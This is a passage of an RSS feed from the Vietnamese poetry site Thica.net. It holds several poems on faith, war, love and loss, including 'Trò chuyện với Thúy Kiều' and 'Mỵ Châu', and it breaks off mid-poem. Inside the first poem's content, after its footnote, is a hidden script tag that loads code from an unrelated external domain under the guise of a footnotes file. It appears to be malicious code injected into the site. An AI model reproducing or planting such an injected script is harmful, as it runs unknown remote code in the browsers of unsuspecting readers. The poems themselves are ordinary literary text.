<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thica.netThơ có chủ đề &quot;Niềm tin&quot; - Thica.net</title>
	<atom:link href="https://www.thica.net/the/niem-tin/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thica.net/the/niem-tin/</link>
	<description>Mạng thi ca Việt Nam</description>
	<lastBuildDate>Fri, 13 Mar 2026 06:12:14 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.5</generator>
<site xmlns="com-wordpress:feed-additions:1">3122721</site>	<item>
		<title>Trò chuyện với Thúy Kiều</title>
		<link>https://www.thica.net/2015/09/18/tro-chuyen-voi-thuy-kieu/</link>
		<comments>https://www.thica.net/2015/09/18/tro-chuyen-voi-thuy-kieu/#respond</comments>
		<pubDate>Fri, 18 Sep 2015 02:53:41 +0000</pubDate>
		<dc:creator><![CDATA[Lý Phương Liên]]></dc:creator>
				<category><![CDATA[Lý Phương Liên]]></category>
		<category><![CDATA[Cuộc sống]]></category>
		<category><![CDATA[Hi vọng]]></category>
		<category><![CDATA[Niềm tin]]></category>
		<category><![CDATA[Suy ngẫm]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=15667</guid>
		<description><![CDATA[<p>[...]</p>
<p>Đường ra biển có thể dài năm tháng <br />
Mất mát nhiều hơn, gian khổ cũng nhiều hơn <br />
Nhưng một điều chắc chắn phi thường <br />
Chúng tôi sẽ lên bờ vào một ngày nắng đẹp... <br />
Bạn có nghe tiếng gõ cửa cuộc đời mạnh gấp <br />
Vọng từ xa đang nối đến gần? <br />
Là thi nhân xin chớ vội gieo vần <br />
Dù hai chữ viết hoa Định Mệnh <br />
Là nhạc sĩ tài hoa chớ vội ghi lên phím <br />
Tiếng nhân định âm vang... <br />
Thuý Kiều ơi, tôi nghe rõ tiếng đàn <br />
Nàng đang gảy khúc nào mà bổng trầm réo rắt <br />
Tiếng gõ cửa cuộc đời ngày thêm dồn, thêm gấp <br />
Lắng nghe, lắng nghe... chính tiếng đập tay người <br />
Chúng ta mở cửa cuộc đời <br />
Và cầm lái con thuyền nhân định <br />
Giữa biển lớn thuyền chúng ta lướt đến <br />
Sáng toàn thân ánh sáng của con người!</p>
<p>The post <a href="https://www.thica.net/2015/09/18/tro-chuyen-voi-thuy-kieu/">Trò chuyện với Thúy Kiều</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>1<br />Hai trăm năm và chảy dài vô hạn<br />Thuý Kiều ơi, nàng sống tháng năm dài<br />Trái đất chúng mình cho đến hôm nay<br />Vẫn còn những cuộc đời như nàng chìm nổi<br />Thời gian còn nửa ngày là đêm tối<br />Còn đồng tiền đổi trắng thay đen<br />Còn sắc tài bạc mệnh với hờn ghen<br />Còn những Mã Giám Sinh, Hoạn Thư, Hồ Tôn Hiến<br />Còn những đất đai triền miên chinh chiến<br />Thuý Kiều ơi, nàng sống tháng năm dài&#8230; </p><p>Cho cả những nơi đã sống thật cuộc đời<br />Bóng dáng nàng vẫn còn trong tiếng hát<br />Tuổi nhỏ lớn lên rồi biết<br />Võng bà đưa, nôi mẹ đẩy&#8230; câu ru<br />Thuý Kiều ơi, quá khứ thật vô tư<br />Nó tương phản bình minh và đêm tối<br />Nó đơn giản hơn mọi lời giả dối<br />Thuý Kiều ơi, nàng sống tháng năm dài<br />Thiên tài của chúng ta đã ôm gọn cuộc đời<br />Số phận của nhân dân và đất nước<br />Ai chẳng đã một lần nghe dịu ngọt<br />Bốn khúc đàn Kiều gẩy từng trang<br />Bốn tiếng đàn chuyển động không gian<br />Bốn tiếng đàn lắng thấm vào tâm tưởng<br />Ôi con người có dễ gì tưởng tượng<br />Con người khốn khổ thế này chăng?<br />Thuý Kiều ơi, trong cả tiếng đàn thầm<br />Tôi nghe nàng như Kỳ, Nha hội ngộ<br />Bốn tiếng đàn khi mờ, khi tỏ<br />Khi yêu đương duyên lứa hẹn hò<br />Khi lầu xanh âm chát, cung chua<br />Khi tái hợp cung buồn, âm gẫy<br />Năm ngón tay ròng ròng máu chảy<br />Ruột gan vò xé ruột gan<br />Người đau đau cả tiếng đàn<br />Người đau trong sách nỗi đau dặm dài<br />Thuý Kiều ơi, Thuý Kiều ơi<br />Bao giờ người mới thoát đời lênh đênh?<br />Thời gian đọng lại buồn tênh<br />Mỗi trang Kiều một mông mênh cõi người&#8230;<br />Thắp hương lạy hỏi thiên tài<br />Cuộc đời Kiều phải số trời đó chăng?<br />Nguyễn Du người đã yên nằm<br />Mà lời định mệnh vẫn thầm nhắc ai&#8230; </p><p>2<br />Mẹ em bảo<br />&#8220;Có một đấng thiêng đứng trên đầu trái đất<br />Đôi mắt nhìn khắp cả xa sau&#8230;&#8221;<br />Mẹ em tin như thế từ lâu<br />Và cầu mong số phận đừng phụ bạc<br />Niềm tin ấy chẳng bao giờ đổi khác<br />Chết chồng lủi thủi nuôi con<br />Mẹ không thể làm gì cho đời mẹ vui hơn<br />Số phận buộc mẹ vào cơ cực<br />Những lúc mẹ thầm thào với con về hạnh phúc<br />Cũng là khi lòng mẹ nguyện cầu<br />Ai đưa mẹ tới mai sau<br />Thiên đường của một hành tinh khác<br />Con kinh hoàng nhận nỗi đau mẹ chết<br />Cuộc đời này có số phận thật chăng?<br />Cuộc đời này có số phận thật chăng?<br />Từ mộ huyệt cõi âm vọng đáp<br />Hãy sống đi rồi biết<br />Vời vợi cao xanh chỉ thấy mây cười<br />Mỗi người chúng ta đều có riêng một cửa vào đời<br />Mẹ biết chọn cửa nào để sinh con sung sướng<br />Ôi thiên cơ sau cửa đóng<br />Có đấng nào mách bảo mẹ đâu<br />Đời con còn đó mai sau<br />Sống là điều mẹ nguyện cầu cho con<br />Này cửa thiếp vàng sơn son<br />Này cửa xanh rờn mây biếc<br />Này cửa nâu đồng ánh bạc&#8230;<br />Cửa nào cũng khoá chốt, cài then<br />Hỡi oan hồn định mệnh Đạm Tiên<br />Hỡi réo rắt tiếng đàn Kiều trầm bổng<br />Xin đừng dọa người yêu cuộc sống<br />Em bước lên gõ cửa cuộc đời<br />Đời của tôi ơi<br />Em mở vòng tay đón<br />Hỡi trời cao đất rộng<br />Đời bao nhiêu sắc màu, bao cung bậc âm thanh<br />Sắc màu nào chẳng vẽ nên tranh<br />Cung bực nào chẳng thành thơ, thành nhạc<br />Đại dương nào ẩn trong màu nước biếc<br />Chẳng sóng ngầm, mắt bão với phong ba<br />Không có con đường nào toàn bóng mát và hoa<br />Không có vùng trời nào toàn chim hót<br />Không có cây khế vàng trong cổ tích<br />Kho báu cũng không, dù có mật khẩu vừng&#8230;<br />Em đón nhận đời em sau một thoáng hãi hùng<br />Chôn mẹ, nuôi đàn em thơ dại<br />An phận ư? Mơ hồ sợ hãi<br />Sống vẫn là lời mẹ dặn thiêng liêng&#8230; </p><p>3<br />Thuý Kiều ơi, nàng nặng nợ Đạm Tiên<br />Trói mình trong định mệnh<br />Bẩy nổi ba chìm, lầu xanh am lạnh<br />Sắc tài năm tháng tàn phai<br />Tiền Đường tháo cởi nợ đời<br />Nợ đời không dứt được<br />Phật không cho nàng chết<br />Nàng phải tái hồi Kim Trọng ở trong thơ<br />Trói mình giấc chết như hoa<br />Trong đêm giấc chất dần dà như say<br />Sông Hồng đó, nọ Hồ Tây<br />Chết trong nước cuốn có ngày nổi lên<br />Kiểu gì chết cũng thấp hèn<br />Kiểu gì chết cũng làm hoen ố đời<br />Trên chết chóc muốn dập vùi<br />Trên đau thương mới là người, người ơi&#8230;<br />Tôi sẽ sống lâu, tôi sẽ sống dài<br />Tôi tuổi hai mươi, không nơi nào có được<br />Tôi sinh ra giữa cơn lốc xoáy tròn đất nước<br />Một ngàn chín trăm năm mươi<br />Cả dân tộc đổ xuống đầu giặc Pháp<br />Cơn phẫn nộ muốn làm người<br />Gian nan chỉ thấy môi cười<br />Bao máu đỏ nhuộm nên cờ chiến thắng<br />Hai mươi năm không ai ngồi đếm ngày đếm tháng<br />Những ngày sáu chín, bẩy mươi<br />Chẳng có nơi đâu hơn tuyệt diệu con người<br />Vai gánh nặng cuộc chiến tranh huỷ diệt<br />Mỗi người dân đều nhận phần mất mát<br />Chia đều nhau bom đạn với cơm ăn<br />Khó chẳng riêng ai nên khó chẳng một mình<br />Chung số phận với nhân dân mà chiến đấu<br />Thuý Kiều ơi, thời tôi sống biết bao người đổ máu<br />Lúc tuổi hai mươi như nàng<br />Ai tuổi hai mươi chẳng kháo khát một môi hôn<br />Ai tuổi hai mươi không hẹn hò, ghen nhớ<br />Ai tuổi hai mươi chẳng ước ao làm chồng làm vợ<br />Vậy mà sống mãi tuổi hai mươi&#8230;<br />Em tuổi hai mươi như tất cả mọi người<br />Chọn số phận ở thời mình đang sống&#8230;<br />Muốn hỏi Kiều, hồn Đạm Tiên có hiện về báo mộng<br />Thời những trang Kiều bị tan nát đạn bom<br />Để một mai ai biết Kiều buồn<br />Đàn nàng gảy không còn ai nghe nữa<br />Định mệnh đây, chúng tôi bay qua lửa<br />Cứu sống Kiều từng trang </p><p>4<br />Thuý Kiều ơi, sao chưa hết bàng hoàng<br />Đàn tan hợp vẫn âm chìm, âm lạnh<br />Sao cứ mãi oán than thiên định<br />Sở Khanh, Ưng Khuyển bầy đàn<br />Thời nào chẳng có ngay gian<br />Nhân định cần chi lời khóc thảm<br />Hai vai tôi kéo lặc lè đồ đạc nặng<br />Cũng như nàng, có thể nặng hơn<br />Có khác chăng, nàng chẳng một đoái thương<br />Xe đồ tôi ai qua đường cũng đẩy<br />Những mái tóc bạc phơ hay đỏ cháy<br />Những nét cười duyên dáng cũng xăn tay<br />Ai cũng nhận xe đồ tôi chở nặng hôm nay<br />Là chính xe đồ mình chở nặng<br />Xung quanh tôi không một ngày buồn vắng<br />Không một đêm cay đắng tủi hờn<br />Không một ai có thể giàu hơn<br />Không ruột thịt mà đầy nhà ruột thịt<br />Không họ hàng mà sum vầy thân thiết<br />Không mẹ cha mà đầy đủ mẹ cha<br />Tôi vượt lên mình thực chẳng êm ru<br />Nhưng đứng lại thì chưa ngày tôi nghỉ<br />Tôi cứ đi chuyên cần bền bỉ<br />Trông xa về phía trời hồng<br />Thuý Kiều ơi, như người sang sông<br />Tôi đưa đò cập bến<br />Năm chị em côi nghỉ dăm ngày trên bến<br />Sắp đến đoạn đường ra biển dài lâu<br />Cuộc đời mình chưa lặng gió được đâu<br />Đất nước chiến tranh nhân dân còn cơ cực<br />Khi cái chết vãi từ trên phản lực<br />Bom chùm, bom lửa, bom bi&#8230;<br />Đời còn nhiều gian khó phải qua<br />Để đến được mùa hoa sai, quả trĩu<br />Cơ thể của nhân dân cơ hàn đang phải chịu<br />Số phận mình là số phận của nhân dân<br />Soi gương đời nhìn thấy hết gian truân<br />Thấy hết gian truân để mà cười, mà sống&#8230;<br />Đường ra biển có thể dài năm tháng<br />Mất mát nhiều hơn, gian khổ cũng nhiều hơn<br />Nhưng một điều chắc chắn phi thường<br />Chúng tôi sẽ lên bờ vào một ngày nắng đẹp&#8230;<br />Bạn có nghe tiếng gõ cửa cuộc đời mạnh gấp<br />Vọng từ xa đang nối đến gần?<br />Là thi nhân xin chớ vội gieo vần<br />Dù hai chữ viết hoa Định Mệnh<br />Là nhạc sĩ tài hoa chớ vội ghi lên phím<br />Tiếng nhân định âm vang&#8230;<br />Thuý Kiều ơi, tôi nghe rõ tiếng đàn<br />Nàng đang gảy khúc nào mà bổng trầm réo rắt<br />Tiếng gõ cửa cuộc đời ngày thêm dồn, thêm gấp<br />Lắng nghe, lắng nghe&#8230; chính tiếng đập tay người<br />Chúng ta mở cửa cuộc đời<br />Và cầm lái con thuyền nhân định<br />Giữa biển lớn thuyền chúng ta lướt đến<br />Sáng toàn thân ánh sáng của con người! <sup><a href="https://www.thica.net/2015/09/18/tro-chuyen-voi-thuy-kieu/#footnote_0_15667" id="identifier_0_15667" class="footnote-link footnote-identifier-link" title="B&agrave;i thơ n&agrave;y khi in lần đầu tr&ecirc;n b&aacute;o Nh&acirc;n d&acirc;n năm 1970 c&oacute; tựa đề Nghĩ về Th&uacute;y Kiều. Sau n&agrave;y khi in trong tập thơ, t&aacute;c giả đổi tựa đề th&agrave;nh Tr&ograve; chuyện với Th&uacute;y Kiều">1</a></sup></p><p><em>1970</em></p><ol class="footnotes"><li id="footnote_0_15667" class="footnote">Bài thơ này khi in lần đầu trên báo Nhân dân năm 1970 có tựa đề <em>Nghĩ về Thúy Kiều</em>. Sau này khi in trong tập thơ, tác giả đổi tựa đề thành <em>Trò chuyện với Thúy Kiều</em></li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2015/09/18/tro-chuyen-voi-thuy-kieu/">Trò chuyện với Thúy Kiều</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2015/09/18/tro-chuyen-voi-thuy-kieu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">15667</post-id>	</item>
		<item>
		<title>Nhớ một khoảng đời</title>
		<link>https://www.thica.net/2015/03/18/nho-mot-khoang-doi/</link>
		<comments>https://www.thica.net/2015/03/18/nho-mot-khoang-doi/#comments</comments>
		<pubDate>Wed, 18 Mar 2015 01:31:33 +0000</pubDate>
		<dc:creator><![CDATA[Lê Khánh Mai]]></dc:creator>
				<category><![CDATA[Lê Khánh Mai]]></category>
		<category><![CDATA[Chiến tranh]]></category>
		<category><![CDATA[Hà Nội]]></category>
		<category><![CDATA[Hoài niệm]]></category>
		<category><![CDATA[Kỉ niệm]]></category>
		<category><![CDATA[Niềm tin]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=14351</guid>
		<description><![CDATA[<p>[...]</p>
<p>Nỗi cách xa dạy em biết làm thơ<br />
Không phải về cơn mưa và hoàng hôn màu tím<br />
Giặc Mỹ ném bom Khâm Thiên, nơi ta từng đến<br />
Những thân bàng trơ trụi cánh tay than<br />
Dãy nhà cao thành đống tro tàn<br />
Em thơ chết mắt tròn không nhắm được<br />
Nỗi đau này không chảy thành nước mắt<br />
Thành phố bừng sôi trong cuộc tiễn đưa<br />
Những chàng trai xếp sách vở học trò<br />
Náo nức niềm vui ra trận</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2015/03/18/nho-mot-khoang-doi/">Nhớ một khoảng đời</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Một khoảng đời ta đã đi qua<br />Hạnh phúc khổ đau nói sao hết được<br />Em và anh như cây xanh cội Nam, cành Bắc<br />Tự buổi sinh ra đâu biết mặt quê hương<br />Hạt lúa cọng rau miền Bắc yêu thương<br />Nuôi ta lớn cho hồn ta mơ mộng<br />Ta thổn thức với tiếng chim, ngẩn ngơ thương lá rụng<br />Đọc trang Kiều nước mắt cứ rưng rưng<br />Năm tháng trôi đi dài rộng vô cùng<br />Ta sống say mê với khoảng đời đẹp nhất<br />Như bầy chim trên giảng đường đại học<br />Cánh cửa chân trời nâng bước đến bình minh<br />Những vần thơ Petophi, Hikmet, Pushkin…<br />Như nốt nhạc giữa lòng ta ngân mãi<br />Những buổi chiều phố phường Hà Nội<br />Xe điện leng keng chở cuộc hẹn hò<br />Ta sống những ngày rất thực rất mơ<br />Giữa bao lo toan bộn bề cuộc sống</p><p>Cho đến ngày anh cầm khẩu súng<br />Kỉ niệm thời sinh viên xếp gọn đáy ba lô<br />Nỗi cách xa dạy em biết làm thơ<br />Không phải về cơn mưa và hoàng hôn màu tím<br />Giặc Mỹ ném bom Khâm Thiên, nơi ta từng đến<br />Những thân bàng trơ trụi cánh tay than<br />Dãy nhà cao thành đống tro tàn<br />Em thơ chết mắt tròn không nhắm được<br />Nỗi đau này không chảy thành nước mắt<br />Thành phố bừng sôi trong cuộc tiễn đưa<br />Những chàng trai xếp sách vở học trò<br />Náo nức niềm vui ra trận</p><p>Quên làm sao kỷ niệm thời sơ tán<br />Lớp học đơn sơ bên lùm cây<br />Thầy giáo giảng thơ trong tiếng rú máy bay<br />Cơm sinh viên mì nhiều hơn gạo<br />Nhưng cuộc sống mỗi phút giây trở thành kỳ diệu<br />Bởi tình người gắn bó thương yêu<br />Gian khổ xóa đi mọi kiểu cách sắc màu<br />Chỉ còn bền lâu những gì chân thật<br />Ta biết ơn khoảng đời đẹp nhất<br />Dạy cho ta cách sống vươn lên<br />Bàn tay hôm nao em múa dẻo mềm<br />Giờ lại săn gân chuyển đá hộc chèn đê Sông Đuống<br />Biết cầm choòng lấp hố bom sâu hoắm<br />Cuốc đất cằn gieo những mầm xanh</p><p>Đất nước đi qua chiến tranh<br />Như đời người trải cơn giông tố<br />Hãy dành phút bình yên mà nghĩ về quá khứ<br />Sẽ chẳng bao giờ đánh mất niềm tin</p><p><em>Nha Trang, tháng tư 1976</em></p><p>The post <a href="https://www.thica.net/2015/03/18/nho-mot-khoang-doi/">Nhớ một khoảng đời</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2015/03/18/nho-mot-khoang-doi/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">14351</post-id>	</item>
		<item>
		<title>Dâng</title>
		<link>https://www.thica.net/2013/11/30/dang/</link>
		<comments>https://www.thica.net/2013/11/30/dang/#respond</comments>
		<pubDate>Sat, 30 Nov 2013 00:02:52 +0000</pubDate>
		<dc:creator><![CDATA[Đỗ Trọng Khơi]]></dc:creator>
				<category><![CDATA[Đỗ Trọng Khơi]]></category>
		<category><![CDATA[Con người]]></category>
		<category><![CDATA[Niềm tin]]></category>
		<category><![CDATA[Tình yêu]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=11023</guid>
		<description><![CDATA[<p>Giọt buồn em hãy rót đi <br />
Ngoài kia vũ trụ đang kỳ phôi thai <br />
Mùa thu dường đã mệt nhoài <br />
Heo may rười rượi, cây thay lá vàng <br />
Kiếp người ta đã nhận mang <br />
Xin em giữ trọn cho cam lòng trời <br />
Giọt buồn cứ vợi sang tôi <br />
Dẫu bao nhiêu vẫn một lời rằng thương <br />
Mẹ cha trao gửi sắc hương <br />
Đời trao em nỗi vui buồn trong tim <br />
Chân thành tha thiết yêu tin <br />
Mình dâng nhau khúc hát tìm về nhau.</p>
<p>The post <a href="https://www.thica.net/2013/11/30/dang/">Dâng</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Giọt buồn em hãy rót đi<br />Ngoài kia vũ trụ đang kỳ phôi thai<br />Mùa thu dường đã mệt nhoài<br />Heo may rười rượi, cây thay lá vàng<br />Kiếp người ta đã nhận mang<br />Xin em giữ trọn cho cam lòng trời<br />Giọt buồn cứ vợi sang tôi<br />Dẫu bao nhiêu vẫn một lời rằng thương<br />Mẹ cha trao gửi sắc hương<br />Đời trao em nỗi vui buồn trong tim<br />Chân thành tha thiết yêu tin<br />Mình dâng nhau khúc hát tìm về nhau.</p><p>The post <a href="https://www.thica.net/2013/11/30/dang/">Dâng</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2013/11/30/dang/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">11023</post-id>	</item>
		<item>
		<title>Mỵ Châu</title>
		<link>https://www.thica.net/2013/11/29/my-chau/</link>
		<comments>https://www.thica.net/2013/11/29/my-chau/#respond</comments>
		<pubDate>Fri, 29 Nov 2013 00:00:04 +0000</pubDate>
		<dc:creator><![CDATA[Anh Ngọc]]></dc:creator>
				<category><![CDATA[Anh Ngọc]]></category>
		<category><![CDATA[Cái chết]]></category>
		<category><![CDATA[Niềm tin]]></category>
		<category><![CDATA[Tình yêu]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=11021</guid>
		<description><![CDATA[<p>[...]</p>
<p>Nước mắt thành mặt trái của lòng tin <br />
Tình yêu đến cùng đường là cái chết <br />
Nhưng người đẹp dẫu rơi đầu vẫn đẹp <br />
Tình yêu bị dối lừa vẫn nguyên vẹn tình yêu. </p>
<p>[..]</p>
<p>The post <a href="https://www.thica.net/2013/11/29/my-chau/">Mỵ Châu</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>Lông ngỗng lông ngan rơi trắng đường chạy nạn<br />Những chiếc lông không biết tự giấu mình. </p><p>Nước mắt thành mặt trái của lòng tin<br />Tình yêu đến cùng đường là cái chết<br />Nhưng người đẹp dẫu rơi đầu vẫn đẹp<br />Tình yêu bị dối lừa vẫn nguyên vẹn tình yêu. </p><p>Giá như trên đời còn có một Mỵ Châu<br />Vừa say đắm yêu thương vừa luôn luôn cảnh giác<br />Không sơ hở, chẳng mắc lừa mẹo giặc<br />Một Mỵ Châu như ta vẫn hằng mơ </p><p>Thì hẳn Mỵ Châu không sống đến bây giờ<br />Ðể chung thủy với tình yêu hai ngàn năm có lẻ<br />Như anh với em dẫu yêu nhau chung thủy<br />Ðến bạc đầu bất quá chỉ trăm năm. </p><p>Nên chúng ta dù rất đỗi đau lòng<br />Vẫn không thể cứu Mỵ Châu khỏi chết<br />Lũ trai biển sẽ thay người nuôi tiếp<br />Giữa lòng mình viên ngọc của tình yêu. </p><p>Vẫn còn đây pho tượng đá cụt đầu<br />Bởi cụt đầu nên tượng càng rất sống<br />Cái đầu cụt gợi nhớ dòng màu nóng<br />Hai ngàn năm dưới đá vẫn tuôn trào. </p><p>Anh cũng như em muốn nhắc Mỵ Châu<br />Ðời còn giặc xin đừng quên cảnh giác<br />Nhưng nhắc sao được người hai ngàn năm trước<br />Nên em ơi ta đành tự nhắc mình.</p><p>The post <a href="https://www.thica.net/2013/11/29/my-chau/">Mỵ Châu</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2013/11/29/my-chau/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">11021</post-id>	</item>
		<item>
		<title>Chỉ còn thơ và nỗi cô đơn con người</title>
		<link>https://www.thica.net/2013/08/28/chi-con-tho-va-noi-co-don-con-nguoi/</link>
		<comments>https://www.thica.net/2013/08/28/chi-con-tho-va-noi-co-don-con-nguoi/#respond</comments>
		<pubDate>Wed, 28 Aug 2013 04:41:07 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Việt Chiến]]></dc:creator>
				<category><![CDATA[Nguyễn Việt Chiến]]></category>
		<category><![CDATA[Cô đơn]]></category>
		<category><![CDATA[Con người]]></category>
		<category><![CDATA[Niềm tin]]></category>
		<category><![CDATA[Nỗi đau]]></category>
		<category><![CDATA[Thế giới]]></category>
		<category><![CDATA[Thơ]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=10023</guid>
		<description><![CDATA[<p>[...]</p>
<p>Tôi tin vào điều ấy <br />
Không phải bởi ngày qua thấy bạn trên giường bệnh <br />
Gương mặt tái nhợt cố nở một nụ cười khó khăn <br />
Như muốn nói: tôi không thể nghỉ ngơi <br />
Khi bài thơ đáng viết nhất vẫn đang còn phía trước </p>
<p>Nhưng bạn đã từ bỏ cõi sống này vào một sớm mai <br />
Nơi có những nỗi đau không cách gì chữa được <br />
Chỉ còn thơ và nỗi cô đơn con người<br />
Sau tất cả mọi cô đơn.</p>
<p>The post <a href="https://www.thica.net/2013/08/28/chi-con-tho-va-noi-co-don-con-nguoi/">Chỉ còn thơ và nỗi cô đơn con người</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p><em>Tặng Bế Kiến Quốc</em></p><p>Như được vẽ bằng khói thuốc lá<br />Gương mặt một người bạn<br />Mũi gồ lên dưới tròng kính trắng<br />Hai bàn tay lúc nào cũng ướt </p><p>Không có sự lựa chọn nào khác<br />Ngoài thuốc lá và thơ<br />Bạn chọn cả hai không bao giờ từ bỏ </p><p>Mười tám tuổi<br />Bạn nhìn đâu cũng thấy anh hùng<br />Họ nhiều hơn<br />Số người sống và người chết cộng lại </p><p>Nhưng nếu trừ đi tất cả<br />Bằng một phép tính giản đơn<br />Thế giới này chỉ còn lại cỏ<br />Và một điều gì đấy<br />Mơ hồ giống như thơ </p><p>Ngoài năm mươi tuổi<br />Bạn vẫn tin yêu con người<br />Nhưng bắt đầu hoài nghi những đám mây không tưởng<br />Riêng đám mây khói thhuốc bạn mang trong ngực<br />Cứ mỗi ngày một âm u</p><p>Bạn mong muốn hàn gắn thế giới này<br />Bằng niềm tin ngây thơ<br />Bởi nếu không tin yêu con người<br />Chúng ta còn gì để mơ ước </p><p>Nhưng có nỗi đau không cách gì chữa được<br />Chỉ còn thơ và nỗi cô đơn con người<br />Sau tất cả mọi cô đơn </p><p>Tôi tin vào điều ấy<br />Không phải bởi ngày qua thấy bạn trên giường bệnh<br />Gương mặt tái nhợt cố nở một nụ cười khó khăn<br />Như muốn nói: tôi không thể nghỉ ngơi<br />Khi bài thơ đáng viết nhất vẫn đang còn phía trước </p><p>Nhưng bạn đã từ bỏ cõi sống này vào một sớm mai<br />Nơi có những nỗi đau không cách gì chữa được<br />Chỉ còn thơ và nỗi cô đơn con người<br />Sau tất cả mọi cô đơn.</p><p>The post <a href="https://www.thica.net/2013/08/28/chi-con-tho-va-noi-co-don-con-nguoi/">Chỉ còn thơ và nỗi cô đơn con người</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2013/08/28/chi-con-tho-va-noi-co-don-con-nguoi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">10023</post-id>	</item>
		<item>
		<title>Tản mạn thời tôi sống</title>
		<link>https://www.thica.net/2012/07/09/tan-man-thoi-toi-song/</link>
		<comments>https://www.thica.net/2012/07/09/tan-man-thoi-toi-song/#comments</comments>
		<pubDate>Mon, 09 Jul 2012 16:22:33 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Trọng Tạo]]></dc:creator>
				<category><![CDATA[Nguyễn Trọng Tạo]]></category>
		<category><![CDATA[Chiến tranh]]></category>
		<category><![CDATA[Cuộc đời]]></category>
		<category><![CDATA[Hi vọng]]></category>
		<category><![CDATA[Niềm tin]]></category>
		<category><![CDATA[Tuổi trẻ]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=8108</guid>
		<description><![CDATA[<p>[...]</p>
<p>
Như con chiên sùng đạo chợt bàng hoàng<br />
Nhận ra Chúa chỉ ghép bằng đất đá</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2012/07/09/tan-man-thoi-toi-song/">Tản mạn thời tôi sống</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>1.<br />Những bông hoa vẫn cứ nở đúng mùa<br />Như thời đã đi qua, như thời rồi sẽ đến<br />Nhưng cái thời tôi sống hẳn khác xưa<br />Trong bài hát thêm bom rơi, và súng </p><p>Anh yêu em anh phải đi ra trận<br />Vợ yêu chồng biết chờ đợi, nuôi con<br />Đất yêu người đất nhận làm lá chắn<br />Hai mươi năm không nguôi lửa chiến trường </p><p>Hai mươi năm không ngày nào vắng người chết đạn<br />Khăn tang bay người sống trắng mái đầu<br />Đâu cũng gặp những nghĩa trang liệt sĩ<br />Chiến tranh chấm dứt rồi mà nào dễ tin đâu!   </p><p>2.<br />Những bông hoa vẫn cứ nở đúng mùa<br />Nhưng màu hoa thời tôi thì có khác<br />Xe đến công trường bay mù bụi cát<br />Màu hoa thường lấm bụi suốt mùa khô</p><p>Lúa ngậm đòng lụt bão đến xô bồ<br />Nhà đang dựng thiếu xi măng, thiếu gạch<br />Bao đám cưới chưa có phòng hạnh phúc<br />Mây ngổn ngang lam lũ những dáng người</p><p>Anh nhớ em nhớ về phía cuối trời<br />Nơi đất mới khai hoang chân em dầm trong đất<br />Em nhớ anh nhớ về nơi bóng giặc<br />Cứ rập rình quanh cột mốc đêm đêm</p><p>Gió thầm thào như chẳng thể nguôi yên<br />Gạo thịt cửa hàng nhiều khi không đủ bán<br />Con phe sục khắp ga tàu bến cảng<br />Giá chợ đen ngoảnh mặt với đồng lương…</p><p>Có bao người ước cuộc sống bình thường<br />Như một thuở xa xôi mình đã có<br />Thuở miếng ăn không phải bàn đến nữa<br />Thuở chiến tranh chưa chạm ngõ nhà mình</p><p>Có bao người bạc bẽo với quê hương<br />Thả số phận bập bềnh vào biển tối<br />Thời tôi sống có bao nhiêu câu hỏi<br />Câu trả lời thật không dễ dàng chi!&#8230;</p><p>3.<br />Những bông hoa vẫn cứ nở đúng mùa<br />Chỉ vết thương rồi thời gian làm sẹo<br />Vầng trăng mọc vào thơ mỗi ngày dường đổi mới<br />Người lo toan vầng trăng chẳng yên tròn</p><p>Tôi sống thời không thể đứng quay lưng<br />Bao biến động dễ đâu nhìn thấy được<br />Bờ thẳng hơn những cánh đồng hợp tác<br />Đê sông Hồng sau mùa lũ thêm cao</p><p>Tàu ngoài khơi vừa phát hiện mỏ dầu<br />Đập thủy điện sông 